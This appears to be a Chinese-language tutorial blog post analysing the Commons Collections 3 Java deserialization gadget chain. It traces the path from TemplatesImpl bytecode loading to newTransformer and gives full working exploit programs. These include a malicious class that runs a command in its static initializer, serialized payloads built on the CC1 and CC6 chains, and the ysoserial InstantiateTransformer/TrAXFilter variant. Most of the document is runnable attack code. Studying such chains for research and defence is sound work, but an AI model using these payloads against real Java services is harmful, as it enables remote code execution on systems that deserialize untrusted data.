CommonCollections3

摘要:点击标题阅读全文…

相较于CC1、CC6两条链直接去加载Runtime类,在一些禁止直接调用Runtime类的情况下,CC3利用了Java的动态类加载的方式,进行了“更隐蔽”的Runtime调用
找寻思路如下
1、动态类加载依赖ClassLoader,ClassLoader通过读取byte对象,使用defineClass读取byte数组来加载类

1
2
3
4
5
protected final Class<?> defineClass(byte[] b, int off, int len)  
throws ClassFormatError
{
return defineClass(null, b, off, len, null);
}

但是ClassLoader.java中的defineClass是protected的,查找调用了defineClass的方法
发现在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplateImpl类中存在:

1
2
3
Class defineClass(final byte[] b) {  
return defineClass(null, b, 0, b.length);
}

TemplatesImpl本身需要进行一些类加载,但是其本身并不是ClassLoader的子类,所以无法直接调用defineClass方法,于是它定义了一个内部类TransletClassLoader,该类继承自ClassLoader类,在TransletClassLoader类中显式地写了一个简化版的defineClass方法,由于没有public或private修饰符,所以该方法的权限是package-private,也就是仅允许包内对象访问
不过它既然编写了这样一个方法,也就是说在TemplatesImpl.java里面一定使用调用的

1
2
3
4
5
6
7
8
9
10
11
12
for (int i = 0; i < classCount; i++) {  
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

也就是,对于_bytecodes数组的每一个,执行defineClass尝试进行加载,赋值给_class[]数组的对应对象
整个是在defineTransletClasses方法中进行调用的,而它的权限是private,继续查找调用

三个调用,都差不多,我们选最后一个,因为涉及到实例化,实例化的话就可以调用构造方法,也就可能可以控制参数

1
2
3
4
5
6
7
8
9
private Translet getTransletInstance()  
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();
......

}

依旧private,继续找调用

有了

1
2
3
4
5
6
7
8
9
10
11
public synchronized Transformer newTransformer()  
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

......
return transformer;
}

尝试构造,首先肯定需要一个TemplatesImpl的对象
TemplatesImpl templates = new TemplatesImpl();
接着我们想调用它的newTransformer方法
templates.newTransformer();
但是其中有一些if什么的需要满足,还有我们的动态加载的恶意类也要满足
getTransletInstance中:
if (_name == null) return null;

private String _name = null;
所以我们需要通过反射去修改它的值

1
2
3
4
Class tc = templates.getClass();  
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

defineTransletClasses中

1
2
3
4
5
6
if (_bytecodes == null) {  
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
以及
private byte[][] _bytecodes = null;

_bytecodes变量本身是一个二维数组,也是通过反射,去修改为我们的恶意类

1
2
3
4
5
Field bytecodesField = tc.getDeclaredField("_bytecodes");  
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users/hongm/Desktop/Java_Unser/target/classes/org/example/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

编写Test.java如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import......

public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

至此,如果尝试直接运行:

会报空指针错误,报错位置代码如下:

1
2
3
4
5
6
TransletClassLoader loader = (TransletClassLoader)  
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

也就是_tfactory这一行有问题,问题出在_tfactory.getExternalExtensionsMap()
由于:private transient TransformerFactoryImpl _tfactory = null;
_tfactory对象不可序列化,且初始值为null,那应该是在readObject的时候进行的赋值
_tfactory = new TransformerFactoryImpl();
也就是readObject的时候自动给了一个对象进行赋值,目前我们先自己调用newTransformer方法,不涉及序列与反序列化,所以得给一个值给它,还是利用反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class Try {  
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users/hongm/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

templates.newTransformer();

}
}

好的,目前这样就成功弹计算器了
接下来就是利用CC1的前半段,进行调用就好了,需要改动的地方:

1
2
3
4
Transformer[] transformers = new Transformer[]{  
new ConstantTransformer(templates), //返回了Runtime.class
new InvokerTransformer("newTransformer", null, null)
};

挺明显,也就是等价于templates.newTransformer();
然后我们正式采用序列与反序列化的化,给_tactory赋值那一段也可以不用了
全代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import......

public class Try {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users/hongm/Desktop/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationhdConstructor.newInstance(Override.class, lazyMap);

Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationhdConstructor.newInstance(Target.class, mapProxy);

// serialize(o);
deserialize("ser.bin");

}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);

}
public static Object deserialize(String Filename) throws Exception, ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

不过我突然想到,这里我们是CC3+CC1,但是CC1是受jdk版本限制的,在8u71以后,AnnotationInvocationHandler中的漏洞方法就被修复了,但是CC6的HashMap利用是不受限制的

自己改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import......

public class Try {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users/hongm/Desktop/Java_Unser/target/classes/org/example/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates), //返回了Runtime.class
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, Object.class);

HashMap<Object, Object> hashMapEntry = new HashMap<>();
hashMapEntry.put(tiedMapEntry, "aaa");
lazyMap.remove(Object.class);

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

// serialize(hashMapEntry);
deserialize("ser.bin");


}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);

}
public static Object deserialize(String Filename) throws Exception, ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}

此外,ysoserial的作者考虑了InvokerTransformer不允许使用的情况,于是他找到了InstantiateTransformer这个类,结合TraXFilter类的构造方法的newTranformer方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import......

public class Try {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();

Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");

Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users/hongm/Desktop/Java_Unser/target/classes/org/example/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);

Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());


InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), //返回TraXFilter.class
instantiateTransformer //调用InstantiateTransformer.transform(TraXFilter.class)
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, Object.class);

HashMap<Object, Object> hashMapEntry = new HashMap<>();
hashMapEntry.put(tiedMapEntry, "aaa");
lazyMap.remove(Object.class);

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

serialize(hashMapEntry);
deserialize("ser.bin");


}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);

}
public static Object deserialize(String Filename) throws Exception, ClassNotFoundException, IOException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;

}
}